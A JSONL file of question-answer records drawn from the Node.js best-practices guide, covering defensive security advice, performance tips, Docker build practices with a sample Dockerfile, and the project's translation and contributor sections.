{"id": "gh_a69ed1c1f343", "question": "How to: ![✔] 6.15. Avoid JavaScript eval statements", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** `eval` is evil as it allows executing custom JavaScript code during run time. This is not just a performance concern but also an important security concern due to malicious JavaScript code that may be sourced from user input. Another language feature that should be avoided is `new Function` constructor. `setTimeout` and `setInterval` should never be passed dynamic JavaScript code either.\n\n**Otherwise:** Malicious JavaScript code finds a way into text passed into `eval` or other real-time evaluating JavaScript language functions, and will gain complete access to JavaScript permissions on the page. This vulnerability is often manifested as an XSS attack.\n\n🔗 [**Read More: Avoid JavaScript eval statements**](./sections/security/avoideval.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947411"}
{"id": "gh_a3b8d0c4549e", "question": "How to: ![✔] 6.16. Prevent evil RegEx from overloading your single thread execution", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Regular Expressions, while being handy, pose a real threat to JavaScript applications at large, and the Node.js platform in particular. A user input for text to match might require an outstanding amount of CPU cycles to process. RegEx processing might be inefficient to an extent that a single request that validates 10 words can block the entire event loop for 6 seconds and set the CPU on 🔥. For that reason, prefer third-party validation packages like [validator.js](https://github.com/chriso/validator.js) instead of writing your own Regex patterns, or make use of [safe-regex](https://github.com/substack/safe-regex) to detect vulnerable regex patterns\n\n**Otherwise:** Poorly written regexes could be susceptible to Regular Expression DoS attacks that will block the event loop completely. For example, the popular `moment` package was found vulnerable with malicious RegEx usage in November of 2017\n\n🔗 [**Read More: Prevent malicious RegEx**](./sections/security/regex.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947419"}
{"id": "gh_0fffd6f9f7a7", "question": "How to: ![✔] 6.17. Avoid module loading using a variable", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Avoid requiring/importing another file with a path that was given as parameter due to the concern that it could have originated from user input. This rule can be extended for accessing files in general (i.e. `fs.readFile()`) or other sensitive resource access with dynamic variables originating from user input. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linter can catch such patterns and warn early enough\n\n**Otherwise:** Malicious user input could find its way to a parameter that is used to require tampered files, for example, a previously uploaded file on the file system, or access already existing system files.\n\n🔗 [**Read More: Safe module loading**](./sections/security/safemoduleloading.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947428"}
{"id": "gh_baeec131160e", "question": "How to: ![✔] 6.18. Run unsafe code in a sandbox", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** When tasked to run external code that is given at run-time (e.g. plugin), use any sort of 'sandbox' execution environment that isolates and guards the main code against the plugin. This can be achieved using a dedicated process (e.g. `cluster.fork()`), serverless environment or dedicated npm packages that act as a sandbox\n\n**Otherwise:** A plugin can attack through an endless variety of options like infinite loops, memory overloading, and access to sensitive process environment variables\n\n🔗 [**Read More: Run unsafe code in a sandbox**](./sections/security/sandbox.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947435"}
{"id": "gh_9d3a14f04e10", "question": "How to: ![✔] 6.19. Take extra care when working with child processes", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Avoid using child processes when possible and validate and sanitize input to mitigate shell injection attacks if you still have to. Prefer using `child_process.execFile` which by definition will only execute a single command with a set of attributes and will not allow shell parameter expansion.\n\n**Otherwise:** Naive use of child processes could result in remote command execution or shell injection attacks due to malicious user input passed to an unsanitized system command.\n\n🔗 [**Read More: Be cautious when working with child processes**](./sections/security/childprocesses.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947443"}
{"id": "gh_3a0f285d2e9d", "question": "How to: ![✔] 6.20. Hide error details from clients", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** An integrated express error handler hides the error details by default. However, great are the chances that you implement your own error handling logic with custom Error objects (considered by many as a best practice). If you do so, ensure not to return the entire Error object to the client, which might contain some sensitive application details\n\n**Otherwise:** Sensitive application details such as server file paths, third party modules in use, and other internal workflows of the application which could be exploited by an attacker, could be leaked from information found in a stack trace\n\n🔗 [**Read More: Hide error details from client**](./sections/security/hideerrors.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947451"}
{"id": "gh_b876e471f639", "question": "How to: ![✔] 6.21. Configure 2FA for npm or Yarn", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Any step in the development chain should be protected with MFA (multi-factor authentication), npm/Yarn are a sweet opportunity for attackers who can get their hands on some developer's password. Using developer credentials, attackers can inject malicious code into libraries that are widely installed across projects and services. Maybe even across the web if published in public. Enabling 2-factor-authentication in npm leaves almost zero chances for attackers to alter your package code.\n\n**Otherwise:** [Have you heard about the eslint developer whose password was hijacked?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947457"}
{"id": "gh_a7418cbbdf50", "question": "How to: ![✔] 6.22. Modify session middleware settings", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Each web framework and technology has its known weaknesses - telling an attacker which web framework we use is a great help for them. Using the default settings for session middlewares can expose your app to module- and framework-specific hijacking attacks in a similar way to the `X-Powered-By` header. Try hiding anything that identifies and reveals your tech stack (E.g. Node.js, express)\n\n**Otherwise:** Cookies could be sent over insecure connections, and an attacker might use session identification to identify the underlying framework of the web application, as well as module-specific vulnerabilities\n\n🔗 [**Read More: Cookie and session security**](./sections/security/sessions.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947464"}
{"id": "gh_2a6f42986737", "question": "How to: ![✔] 6.23. Avoid DOS attacks by explicitly setting when a process should crash", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** The Node process will crash when errors are not handled. Many best practices even recommend to exit even though an error was caught and got handled. Express, for example, will crash on any asynchronous error - unless you wrap routes with a catch clause. This opens a very sweet attack spot for attackers who recognize what input makes the process crash and repeatedly send the same request. There's no instant remedy for this but a few techniques can mitigate the pain: Alert with critical severity anytime a process crashes due to an unhandled error, validate the input and avoid crashing the process due to invalid user input, wrap all routes with a catch and consider not to crash when an error originated within a request (as opposed to what happens globally)\n\n**Otherwise:** This is just an educated guess: given many Node.js applications, if we try passing an empty JSON body to all POST requests - a handful of applications will crash. At that point, we can just repeat sending the same request to take down the applications with ease", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947471"}
{"id": "gh_312fcc779ff7", "question": "How to: ![✔] 6.24. Prevent unsafe redirects", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Redirects that do not validate user input can enable attackers to launch phishing scams, steal user credentials, and perform other malicious actions.\n\n**Otherwise:** If an attacker discovers that you are not validating external, user-supplied input, they may exploit this vulnerability by posting specially-crafted links on forums, social media, and other public places to get users to click it.\n\n🔗 [**Read More: Prevent unsafe redirects**](./sections/security/saferedirects.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947478"}
{"id": "gh_f591ab85431f", "question": "How to: ![✔] 6.25. Avoid publishing secrets to the npm registry", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Precautions should be taken to avoid the risk of accidentally publishing secrets to public npm registries. An `.npmignore` file can be used to ignore specific files or folders, or the `files` array in `package.json` can act as an allow list.\n\n**Otherwise:** Your project's API keys, passwords or other secrets are open to be abused by anyone who comes across them, which may result in financial loss, impersonation, and other risks.\n\n🔗 [**Read More: Avoid publishing secrets**](./sections/security/avoid_publishing_secrets.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947485"}
{"id": "gh_d630d5446055", "question": "How to: ![✔] 7.1. Don't block the event loop", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Avoid CPU intensive tasks as they will block the mostly single-threaded Event Loop and offload those to a dedicated thread, process or even a different technology based on the context.\n\n**Otherwise:** As the Event Loop is blocked, Node.js will be unable to handle other request thus causing delays for concurrent users. **3000 users are waiting for a response, the content is ready to be served, but one single request blocks the server from dispatching the results back**\n\n🔗 [**Read More: Do not block the event loop**](./sections/performance/block-loop.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947501"}
{"id": "gh_1f8e66f39966", "question": "How to: ![✔] 7.2. Prefer native JS methods over user-land utils like Lodash", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** It's often more penalising to use utility libraries like `lodash` and `underscore` over native methods as it leads to unneeded dependencies and slower performance.\nBear in mind that with the introduction of the new V8 engine alongside the new ES standards, native methods were improved in such a way that it's now about 50% more performant than utility libraries.\n\n**Otherwise:** You'll have to maintain less performant projects where you could have simply used what was **already** available or dealt with a few more lines in exchange of a few more files.\n\n🔗 [**Read More: Native over user land utils**](./sections/performance/nativeoverutil.md)\n⬆ Return to top", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947509"}
{"id": "gh_9f9cf4d9176f", "question": "How to: `8. Docker Best Practices`", "question_body": "About goldbergyoni/nodebestpractices", "answer": "🏅 Many thanks to [Bret Fisher](https://github.com/BretFisher) from whom we learned many of the following practices", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947515"}
{"id": "gh_9b53c7e49462", "question": "How to: ![✔] 8.1 Use multi-stage builds for leaner and more secure Docker images", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Use multi-stage build to copy only necessary production artifacts. A lot of build-time dependencies and files are not needed for running your application. With multi-stage builds these resources can be used during build while the runtime environment contains only what's necessary. Multi-stage builds are an easy way to get rid of overweight and security threats.\n\n**Otherwise:** Larger images will take longer to build and ship, build-only tools might contain vulnerabilities and secrets only meant for the build phase might be leaked.", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947520"}
{"id": "gh_0a23c19feb0c", "question": "How to: Example Dockerfile for multi-stage builds", "question_body": "About goldbergyoni/nodebestpractices", "answer": "```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY . .\nRUN npm ci && npm run build\n\nFROM node:slim-14.4.0\n\nUSER node\nEXPOSE 8080\n\nCOPY --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/package-lock.json ./\nRUN npm ci --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n🔗 [**Read More: Use multi-stage builds**](./sections/docker/multi_stage_builds.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947527"}
{"id": "gh_008951e0bcce", "question": "How to: ![✔] 8.2. Bootstrap using `node` command, avoid `npm start`", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Use `CMD ['node','server.js']` to start your app, avoid using npm scripts which don't pass OS signals to the code. This prevents problems with child-processes, signal handling, graceful shutdown and having zombie processes\n\nUpdate: [Starting from npm 7, npm claim](https://docs.npmjs.com/cli/v7/using-npm/changelog#706-2020-10-27) to pass signals. We follow and will update accordingly\n\n**Otherwise:** When no signals are passed, your code will never be notified about shutdowns. Without this, it will lose its chance to close properly possibly losing current requests and/or data\n\n[**Read More: Bootstrap container using node command, avoid npm start**](./sections/docker/bootstrap-using-node.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947534"}
{"id": "gh_5c24cff9c7d5", "question": "How to: ![✔] 8.3. Let the Docker runtime handle replication and uptime", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** When using a Docker run time orchestrator (e.g., Kubernetes), invoke the Node.js process directly without intermediate process managers or custom code that replicate the process (e.g. PM2, Cluster module). The runtime platform has the highest amount of data and visibility for making placement decision - It knows best how many processes are needed, how to spread them and what to do in case of crashes\n\n**Otherwise:** Container keeps crashing due to lack of resources will get restarted indefinitely by the process manager. Should Kubernetes be aware of that, it could relocate it to a different roomy instance\n\n🔗 [**Read More: Let the Docker orchestrator restart and replicate processes**](./sections/docker/restart-and-replicate-processes.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947541"}
{"id": "gh_e6e3de93e442", "question": "How to: ![✔] 8.4. Use .dockerignore to prevent leaking secrets", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR**: Include a `.dockerignore` file that filters out common secret files and development artifacts. By doing so, you might prevent secrets from leaking into the image. As a bonus the build time will significantly decrease. Also, ensure not to copy all files recursively rather explicitly choose what should be copied to Docker\n\n**Otherwise**: Common personal secret files like `.env`, `.aws` and `.npmrc` will be shared with anybody with access to the image (e.g. Docker repository)\n\n🔗 [**Read More: Use .dockerignore**](./sections/docker/docker-ignore.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947550"}
{"id": "gh_79050a02a134", "question": "How to: ![✔] 8.5. Clean-up dependencies before production", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Although Dev-Dependencies are sometimes needed during the build and test life-cycle, eventually the image that is shipped to production should be minimal and clean from development dependencies. Doing so guarantees that only necessary code is shipped and the amount of potential attacks (i.e. attack surface) is minimized. When using multi-stage build (see dedicated bullet) this can be achieved by installing all dependencies first and finally running `npm ci --production`\n\n**Otherwise:** Many of the infamous npm security breaches were found within development packages (e.g. [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes))\n\n🔗 Read More: [Remove development dependencies](./sections/docker/install-for-production.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947557"}
{"id": "gh_cb60d0fcaa6b", "question": "How to: ![✔] 8.6. Shutdown smartly and gracefully", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Handle the process SIGTERM event and clean-up all existing connection and resources. This should be done while responding to ongoing requests. In Dockerized runtimes, shutting down containers is not a rare event, rather a frequent occurrence that happen as part of routine work. Achieving this demands some thoughtful code to orchestrate several moving parts: The load balancer, keep-alive connections, the HTTP server and other resources\n\n**Otherwise:** Dying immediately means not responding to thousands of disappointed users\n\n🔗 [**Read More: Graceful shutdown**](./sections/docker/graceful-shutdown.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947565"}
{"id": "gh_a2dd2e02ce07", "question": "How to: ![✔] 8.7. Set memory limits using both Docker and v8", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Always configure a memory limit using both Docker and the JavaScript runtime flags. The Docker limit is needed to make thoughtful container placement decision, the --v8's flag max-old-space is needed to kick off the GC on time and prevent under utilization of memory. Practically, set the v8's old space memory to be a just bit less than the container limit\n\n**Otherwise:** The docker definition is needed to perform thoughtful scaling decision and prevent starving other citizens. Without also defining the v8's limits, it will under utilize the container resources - Without explicit instructions it crashes when utilizing ~50-60% of its host resources\n\n🔗 [**Read More: Set memory limits using Docker only**](./sections/docker/memory-limit.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947573"}
{"id": "gh_6f6b4212eefb", "question": "How to: ![✔] 8.8. Plan for efficient caching", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Rebuilding a whole docker image from cache can be nearly instantaneous if done correctly. The less updated instructions should be at the top of your Dockerfile and the ones constantly changing (like app code) should be at the bottom.\n\n**Otherwise:** Docker build will be very long and consume lot of resources even when making tiny changes\n\n🔗 [**Read More: Leverage caching to reduce build times**](./sections/docker/use-cache-for-shorter-build-time.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947580"}
{"id": "gh_9eeb1d3f31b0", "question": "How to: ![✔] 8.9. Use explicit image reference, avoid `latest` tag", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Specify an explicit image digest or versioned label, never refer to `latest`. Developers are often led to believe that specifying the `latest` tag will provide them with the most recent image in the repository however this is not the case. Using a digest guarantees that every instance of the service is running exactly the same code.\n\nIn addition, referring to an image tag means that the base image is subject to change, as image tags cannot be relied upon for a deterministic install. Instead, if a deterministic install is expected, a SHA256 digest can be used to reference an exact image.\n\n**Otherwise:** A new version of a base image could be deployed into production with breaking changes, causing unintended application behaviour.\n\n🔗 [**Read More: Understand image tags and use the \"latest\" tag with caution**](./sections/docker/image-tags.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947590"}
{"id": "gh_0b144aafff8a", "question": "How to: ![✔] 8.10. Prefer smaller Docker base images", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Large images lead to higher exposure to vulnerabilities and increased resource consumption. Using leaner Docker images, such as Slim and Alpine Linux variants, mitigates this issue.\n\n**Otherwise:** Building, pushing, and pulling images will take longer, unknown attack vectors can be used by malicious actors and more resources are consumed.\n\n🔗 [**Read More: Prefer smaller images**](./sections/docker/smaller_base_images.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947599"}
{"id": "gh_194810d80ca9", "question": "How to: ![✔] 8.12. Scan images for multi layers of vulnerabilities", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Besides checking code dependencies vulnerabilities also scan the final image that is shipped to production. Docker image scanners check the code dependencies but also the OS binaries. This E2E security scan covers more ground and verifies that no bad guy injected bad things during the build. Consequently, it is recommended running this as the last step before deployment. There are a handful of free and commercial scanners that also provide CI/CD plugins\n\n**Otherwise:** Your code might be entirely free from vulnerabilities. However it might still get hacked due to vulnerable version of OS-level binaries (e.g. OpenSSL, TarBall) that are commonly being used by applications\n\n🔗 [**Read More: Scan the entire image before production**](./sections/docker/scan-images.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947609"}
{"id": "gh_04b79c5a44bb", "question": "How to: ![✔] 8.13 Clean NODE_MODULE cache", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** After installing dependencies in a container remove the local cache. It doesn't make any sense to duplicate the dependencies for faster future installs since there won't be any further installs - A Docker image is immutable. Using a single line of code tens of MB (typically 10-50% of the image size) are shaved off\n\n**Otherwise:** The image that will get shipped to production will weigh 30% more due to files that will never get used\n\n🔗 [**Read More: Clean NODE_MODULE cache**](./sections/docker/clean-cache.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947616"}
{"id": "gh_ded7caf12d15", "question": "How to: ![✔] 8.14. Generic Docker practices", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** This is a collection of Docker advice that is not related directly to Node.js - the Node implementation is not much different than any other language. Click read more to skim through.\n\n🔗 [**Read More: Generic Docker practices**](./sections/docker/generic-tips.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947621"}
{"id": "gh_ebdcae7ed386", "question": "How to: Milestones", "question_body": "About goldbergyoni/nodebestpractices", "answer": "To maintain this guide and keep it up to date, we are constantly updating and improving the guidelines and best practices with the help of the community. You can follow our [milestones](https://github.com/goldbergyoni/nodebestpractices/milestones) and join the working groups if you want to contribute to this project", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947628"}
{"id": "gh_bbba5ae60801", "question": "How to: Translations", "question_body": "About goldbergyoni/nodebestpractices", "answer": "All translations are contributed by the community. We will be happy to get any help with either completed, ongoing or new translations!", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947632"}
{"id": "gh_ce7a06cd1fae", "question": "How to: Completed translations", "question_body": "About goldbergyoni/nodebestpractices", "answer": "- ![BR](./assets/flags/BR.png) [Brazilian Portuguese](./README.brazilian-portuguese.md) - Courtesy of [Marcelo Melo](https://github.com/marcelosdm)\n- ![CN](./assets/flags/CN.png) [Chinese](./README.chinese.md) - Courtesy of [Matt Jin](https://github.com/mattjin)\n- ![RU](./assets/flags/RU.png) [Russian](./README.russian.md) - Courtesy of [Alex Ivanov](https://github.com/contributorpw)\n- ![PL](./assets/flags/PL.png) [Polish](./README.polish.md) - Courtesy of [Michal Biesiada](https://github.com/mbiesiad)\n- ![JA](./assets/flags/JA.png) [Japanese](./README.japanese.md) - Courtesy of [Yuki Ota](https://github.com/YukiOta), [Yuta Azumi](https://github.com/YA21)\n- ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Courtesy of [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947638"}
{"id": "gh_18837dfaea0b", "question": "How to: Translations in progress", "question_body": "About goldbergyoni/nodebestpractices", "answer": "- ![FR](./assets/flags/FR.png) [French](./README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) [Hebrew](./README.hebrew.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Korean](README.korean.md) - Courtesy of [Sangbeom Han](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![ES](./assets/flags/ES.png) [Spanish](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turkish ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139))", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947643"}
{"id": "gh_1df7e321c23e", "question": "How to: Steering Committee", "question_body": "About goldbergyoni/nodebestpractices", "answer": "Meet the steering committee members - the people who work together to provide guidance and future direction to the project. In addition, each member of the committee leads a project tracked under our [GitHub projects](https://github.com/goldbergyoni/nodebestpractices/projects).\n[Yoni Goldberg](https://github.com/goldbergyoni)\nIndependent Node.js consultant who works with customers in the USA, Europe, and Israel on building large-scale Node.js applications. Many of the best practices above were first published at [goldbergyoni.com](https://goldbergyoni.com). Reach Yoni at [@goldbergyoni](https://github.com/goldbergyoni) or [me@goldbergyoni.com](mailto:me@goldbergyoni.com)\n[Josh Hemphill](https://github.com/josh-hemphill)\nFull Stack Software Engineer / Developer specializing in Security, DevOps/DevSecOps, and ERP Integrations.\n[Raz Luvaton](https://github.com/rluvaton)\nFull Stack Developer who knows how to exit from Vim and loves Architecture, Virtualization and Security.", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947652"}
{"id": "gh_f43fb865c76b", "question": "How to: Contributing", "question_body": "About goldbergyoni/nodebestpractices", "answer": "If you've ever wanted to contribute to open source, now is your chance! See the [contributing docs](.operations/CONTRIBUTING.md) for more information.", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947657"}
{"id": "gh_af51a1c600ce", "question": "How to: Contributors ✨", "question_body": "About goldbergyoni/nodebestpractices", "answer": "Thanks goes to these wonderful people who have contributed to this repository!\nKevin Rambaud\n🖋\nMichael Fine\n🖋\nShreya Dahal\n🖋\nMatheus Cruz Rocha\n🖋\nYog Mehta\n🖋\nKudakwashe Paradzayi\n🖋\nt1st3\n🖋\nmulijordan1976\n🖋\nMatan Kushner\n🖋\nFabio Hiroki\n🖋\nJames Sumners\n🖋", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.948145"}
